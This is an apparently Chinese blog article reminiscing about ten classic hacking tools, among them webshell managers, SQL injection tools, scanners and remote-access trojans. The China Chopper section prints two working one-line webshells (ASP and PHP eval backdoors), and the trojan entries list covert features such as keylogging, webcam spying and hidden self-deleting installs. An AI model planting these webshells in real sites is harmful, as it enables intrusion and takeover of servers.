曾经那些年非常火的十大黑客工具，你了解多少？
<div id="navCategory"><h5 class="catalogue">目录</h5><ul class="first_class_ul"><li>1、中国菜刀</li><li>2、明小子</li><li>3、啊D</li><li>4、御剑</li><li>5、流光</li><li>6、X-Scan扫描器</li><li>7、灰鸽子</li><li>8、冰河</li><li>9、溯雪</li><li>10、北极熊扫描器</li></ul></div><p>道，可道，非常道。名，可名，非常名。这是小编高中时期，在中国红盟论坛首页看到的一句话。从那以后，小编就开始去了解一些关于黑客的事。如今小编从事了信息安全的工作，也算是将兴趣升级成了工作。今天给大家聊聊那些年非常火的黑客软件。</p><p style="text-align:center"><img alt="" src="https://img.jbzj.com/file_images/article/202310/202310051133001.png" /></p>
<p class="maodian"></p><h2>1、中国菜刀</h2>
<p>中国菜刀是使用非常广泛的一款Webshell管理工具，专业的网站管理软件，小巧且实用。只要支持动态脚本的网站，都可以用中国菜刀来进行管理。</p>
<p>功能特点：</p>
<p>1、支持的服务端脚本：PHP、ASP，主要用于连接一句话木马。</p>
<p>2、文件管理，数据库管理，虚拟终端。</p>
<p>路人皆知的一句话木马：</p>
<p>asp的一句话是：</p>
<p><%eval request("lubr")%></p>
<p>php的一句话是：</p>
<p><?php @eval($_POST['lubr']);?></p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/202310/202310051133002.png" /></p>
<p>中国菜刀</p>
<p class="maodian"></p><h2>2、明小子</h2>
<p>明小子是一款注入工具，利用SQL语句在外部对SQL数据库进行查询，更新等操作，用户可以通过该工具对网站进行安全检测，也可以进行数据库管理。</p>
<p>功能特点：</p>
<p>软件包含了六大功能模块，分别为旁注检测、综合上传、sql注入、数据库管理、破解工具、辅助工具等。</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/202310/202310051133013.png" /></p>
<p>明小子</p>
<p class="maodian"></p><h2>3、啊D</h2>
<p>啊d注入工具是一款测试网站SQL注入漏洞的工具，它使用了多线程技术，可自动扫描网页是否包含SQL注入漏洞，帮助站长检测自己网站的安全性，及时修复漏洞保证网站安全。</p>
<p>功能特点：</p>
<p>1、扫描注入点</p>
<p>2、SQL注入检测</p>
<p>3、管理入口检测</p>
<p>4、目录查看</p>
<p>5、CMD/上传</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/202310/202310051133014.jpg" /></p>
<p>啊D</p>
<p class="maodian"></p><h2>4、御剑</h2>
<p>御剑是一款WEB网络安全综合检测程序，这款网站后台扫描器支持HTML/ASPX/PHP/JSP等文件扫描。具备全扫描技术、网络安全扫描技术和主机安全扫描技术，方便发现网站漏洞。</p>
<p>功能特点：</p>
<p>1.C段 旁注 2.批量注入 3.后台扫描 4.MD5解密 5.多种编码转换</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/202310/202310051133015.jpg" /></p>
<p>御剑</p>
<p class="maodian"></p><h2>5、流光</h2>
<p>流光是中国第一代黑客小榕的作品，是一款入侵扫描工具，可以用来配合字典来爆破一些邮箱密码等。具有分析目标主机信息的能力，可以扫描目标IP地址或IP段是否有典型开放的端口，然后根据这些所开放的端口进行渗透入侵。</p>
<p>功能特点：</p>
<p>1、线程超时设置。</p>
<p>2、支持10个字典同时检测。</p>
<p>3、检测设置可作为项目保存。</p>
<p>4、多线程检测，消除系统中密码漏洞。</p>
<p>5、支持探测POP3、FTP、HTTP、PROXY、FROM、SQL、SMTP、IPC等各种漏洞。</p>
<p class="maodian"></p><h2>6、X-Scan扫描器</h2>
<p>X-Scan扫描器采用多线程方式对指定IP地址段（或单机）进行安全漏洞检测，且支持插件功能。</p>
<p>功能特点</p>
<p>可以扫描出操作系统类型及版本、标准端口状态及端口BANNER信息、CGI漏洞、IIS漏洞、RPC漏洞、SQL-SERVER、FTP-SERVER、SMTP-SERVER、POP3-SERVER、NT-SERVER弱口令用户、NT服务器NETBIOS等信息</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/202310/202310051133016.png" /></p>
<p>X-scan</p>
<p class="maodian"></p><h2>7、灰鸽子</h2>
<p>灰鸽子远程控制软件，功能十分强大，能监视摄像头、键盘记录、监控桌面、文件操作等。</p>
<p>功能特点：</p>
<p>伪装系统图标、随意更换启动项名称和表述、随意更换端口、运行后自删除、毫无提示安装等，并采用反弹端口这种设计，使得使用者拥有最高权限。</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/202310/202310051133017.png" /></p>
<p>灰鸽子</p>
<p class="maodian"></p><h2>8、冰河</h2>
<p>冰河是一款功能强大的远程监控软件。冰河木马开发于1999年，跟灰鸽子类似，在设计之初，开发者的本意是编写一个功能强大的远程控制软件。但一经推出，就依靠其强大的功能成为了黑客们发动入侵的工具，并结束了国外木马一统天下的局面，跟后来的灰鸽子等等成为国产木马的标志和代名词。</p>
<p>功能特点：</p>
<p>1．自动跟踪目标机屏幕变化，完全模拟键盘及鼠标输入</p>
<p>2．限制系统功能：包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册表等多项功能限制；</p>
<p>3．注册表操作</p>
<p>4．获取系统信息</p>
<p>5．远程文件操作</p>
<p class="maodian"></p><h2>9、溯雪</h2>
<p>溯雪利用asp、cgi对免费信箱、论坛、聊天室进行密码探测的软件。密码探测主要是通过猜测生日的方法来实现，成功率可达60%-70%。</p>
<p>功能特点：</p>
<p>1.对免费信箱的探测，主要通过猜测生日的方法，成功率可达60%-70</p>
<p>2.对各种社区、BBS、聊天室等密码的探测</p>
<p>3.一些免费邮箱的密码探测</p>
<p class="maodian"></p><h2>10、北极熊扫描器</h2>
<p>北极熊扫描器是一款信息安全审计工具，支持多线程获取网站信息。</p>
<p>功能特点：</p>
<p>提供网站爬虫、后台扫描、CMS识别、安全检测，后台测试，代码审计、域名侦查等功能，扫描结果可直接将数据导出为“电子表格”，自动化任务执行上能够提升安全人员检测的便利性。</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/202310/202310051133018.png" /></p>
<p>北极熊扫描器</p>
<p>今天介绍的这些软件是小编个人观点的排名，小伙伴们如果有更好的软件欢迎分享。</p>
<p>那个时代顶尖的黑客写出这些精品的软件，应该耗费了不少的心血，为中国信息安全的发展也起了推动作用，虽然现在使用国外的软件比较多，但我相信随着信息安全产业的规范化和制度化，中国的白帽黑客们也一定能有更高的成就。</p>
<p>有很多小伙伴比较喜欢这方面的内容，想要进行深入的学习，小编以后会常更新一些关于信息安全、网络技术、电脑知识、科技等方面的内容，喜欢的小伙伴可以关注我，我也会持续不断的为大家带来用心创作的内容以及分享一些资源、学习资料。</p>
<p>下一篇文章我们将为大家介绍当前黑客常用10大工具，你用过几个？</p>
頁:
[1]